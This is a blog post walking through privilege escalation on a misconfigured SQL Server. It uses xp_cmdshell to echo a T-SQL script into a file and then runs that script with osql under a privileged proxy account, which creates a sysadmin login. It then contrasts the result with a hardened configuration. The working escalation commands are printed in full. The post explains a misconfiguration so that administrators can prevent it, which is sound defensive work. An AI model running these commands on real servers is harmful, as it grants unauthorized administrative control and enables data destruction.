In my last post, I detailed some conditions under which a poorly-configured SQL server could allow unprivileged users to do bad, bad things. Today I want to expand on that to show how an unprivileged user can create a new user account that is a member of the SQL sysadmins role.
To recap the conditions under which bad things can happen:
- The SQL service account is set as Local System
- The SQL proxy account is a privileged account, i.e. one that has Administrator rights over the local machine
- xp_cmdshell is enabled under these conditions.
So that allows a regular unprivileged user to run xp_cmdshell, and in turn, to run commands under the context of the SQL proxy account, which has elevated rights over the operating system.
Let's say you have an end user who's more savvy than most. The naive SQL administrator has created a SQL login for his windows account, and has enabled use of xp_cmdshell for that account. The end user quickly checks the SQL proxy account:
xp_cmdshell 'whoami.exe'
And confirms what he always suspected about the developers at his workplace.
He tries to create a SQL login with membership in the sysadmin role:
USE [master] GO CREATE LOGIN [eviladmin] WITH PASSWORD=N'test', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF GO EXEC master..sp_addsrvrolemember @loginame = N'eviladmin', @rolename = N'sysadmin' GO
Thankfully this doesn't work:
Msg 15247, Level 16, State 1, Line 1
User does not have permission to perform this action.
Msg 15247, Level 16, State 1, Procedure sp_addsrvrolemember, Line 29
User does not have permission to perform this action.
Not to be disheartened, this malicious end user does know he has rights to run xp_cmdshell. And he knows that the commands will run under the context of the silly developer's account. So let's try something else:
exec xp_cmdshell "echo USE [master] > c:\sqlcommands.txt" exec xp_cmdshell "echo GO >> c:\sqlcommands.txt" exec xp_cmdshell "echo CREATE LOGIN [badadmin] WITH PASSWORD=N'test', >> c:\sqlcommands.txt" exec xp_cmdshell "echo DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF >> c:\sqlcommands.txt" exec xp_cmdshell "echo GO >> c:\sqlcommands.txt" exec xp_cmdshell "echo EXEC master..sp_addsrvrolemember @loginame = N'badadmin', @rolename = N'sysadmin' >> c:\sqlcommands.txt" exec xp_cmdshell "echo GO >> c:\sqlcommands.txt"
Two things. I've had to encapsulate the commands in " characters so that SQL parses the commands properly. Also, I've had to break one command (lines 3 and 4) into two lines because there's a string length limit. But this can be easily overcome.
So we now have a text file which contains:
USE [master] GO CREATE LOGIN [badadmin] WITH PASSWORD=N'test', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF GO EXEC master..sp_addsrvrolemember @loginame = N'badadmin', @rolename = N'sysadmin' GO
Nice.
We can't just run this code directly at the command prompt. But we can do something almost as good:
exec xp_cmdshell 'osql -E -i C:\sqlcommands.txt -o C:\results.txt'
This runs the osql command with a "trusted connection" (-E), which basically says use the windows account (of the SQL proxy account) for authentication/access, and -i which grabs the contents of sqlcommands.txt and parses and runs it. And -o outputs the results to a file called results.txt. This is important because we want to see the results of the operation, which in this case happen to be:
Login failed for user 'SQL\sillydeveloper'.
Hmm. OK. On my test box, this happens to be so. Silly Developer doesn't have a SQL login. But we know that in a more realistic environment, this is likely not true. The Silly Developer more than likely has a SQL login. And let's, for the sake of this discussion, assume they are also a member of the sysadmin role. Don't scoff. I've seen plenty of production environments that are configured exactly like that. So let's create a SQL login for Silly Developer and make them a member of the sysadmin role. Let's try again:
exec xp_cmdshell 'osql -E -i C:\sqlcommands.txt -o C:\results.txt'
This produces a file called results.txt, which contains:
1> 2> 1> 2> 3> 1> 2> 1>
That's a bit different. Hey, let's see if the login was created.
It sure was. And it's a member of sysadmin. Oh dear.
It's now a trivial matter for this end user – who up until now had no special rights – to login using the new SQL login and to have fun making the naive DBA's life miserable. DROP TABLE, anyone? DROP DATABASE? The possibilities are endless.
Let's try this again, this time using a properly-configured server, which you'll recall is:
- Configured to use an unprivileged account for its service account
- Using an unprivileged account for the SQL proxy account
xp_cmdshell 'whoami.exe'
Gives us:
Great. Let's try creating that text file again:
exec xp_cmdshell "echo USE [master] > c:\sqlcommands.txt" exec xp_cmdshell "echo GO >> c:\sqlcommands.txt" exec xp_cmdshell "echo CREATE LOGIN [badadmin] WITH PASSWORD=N'test', >> c:\sqlcommands.txt" exec xp_cmdshell "echo DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF >> c:\sqlcommands.txt" exec xp_cmdshell "echo GO >> c:\sqlcommands.txt" exec xp_cmdshell "echo EXEC master..sp_addsrvrolemember @loginame = N'badadmin', @rolename = N'sysadmin' >> c:\sqlcommands.txt" exec xp_cmdshell "echo GO >> c:\sqlcommands.txt"
Well, that's reassuring. The account doesn't have rights to create a file on the root of C: on the SQL server. But that's not to say it couldn't have rights over some other file system somewhere. Let's say there's a file share somewhere that allows the Authenticated Users group to write to it. Let's try this again:
exec xp_cmdshell "echo USE [master] > \\FILESERVER\openshare\sqlcommands.txt" exec xp_cmdshell "echo GO >> \\FILESERVER\openshare\sqlcommands.txt" exec xp_cmdshell "echo CREATE LOGIN [badadmin] WITH PASSWORD=N'test', >> \\FILESERVER\openshare\sqlcommands.txt" exec xp_cmdshell "echo DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, >> \\FILESERVER\openshare\sqlcommands.txt" exec xp_cmdshell "echo CHECK_POLICY=OFF >> \\FILESERVER\openshare\sqlcommands.txt" exec xp_cmdshell "echo GO >> \\FILESERVER\openshare\sqlcommands.txt" exec xp_cmdshell "echo EXEC master..sp_addsrvrolemember @loginame = N'badadmin', >> \\FILESERVER\openshare\sqlcommands.txt" exec xp_cmdshell "echo @rolename = N'sysadmin' >> \\FILESERVER\openshare\sqlcommands.txt" exec xp_cmdshell "echo GO >> \\FILESERVER\openshare\sqlcommands.txt"
I've had to split the lines again due to the length limitation, but the result is a file in \\FILESERVER\OPENSHARE that contains:
USE [master] GO CREATE LOGIN [badadmin] WITH PASSWORD=N'test', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF GO EXEC master..sp_addsrvrolemember @loginame = N'badadmin', @rolename = N'sysadmin' GO
OK, let's try running that command:
exec xp_cmdshell 'osql -E -i \\FILESERVER\openshare\sqlcommands.txt -o \\FILESERVER\openshare\results.txt'
The command runs successfully and creates a file \\FILESERVER\openshare\results.txt. Thankfully this file's contents are:
Login failed for user 'SQL\svc-sql-proxy'.
What we should take away from this is that the proxy account really should not have a SQL login associated with it. But let's pretend it does, and that it is not a member of any special SQL roles:
The results are:
1> 2> 1> 2> 3> 4> Msg 15247, Level 16, State 1, Server PROD-SQL08R2STD, Line 1 User does not have permission to perform this action. 1> 2> 3> Msg 15247, Level 16, State 1, Server PROD-SQL08R2STD, Procedure sp_addsrvrolemember, Line 29 User does not have permission to perform this action. 1>
I don't think I need to spend any time explaining why the SQL proxy account shouldn't a) have a SQL login associated with it; and b) If such an account exists, it should not be a member of any special SQL roles.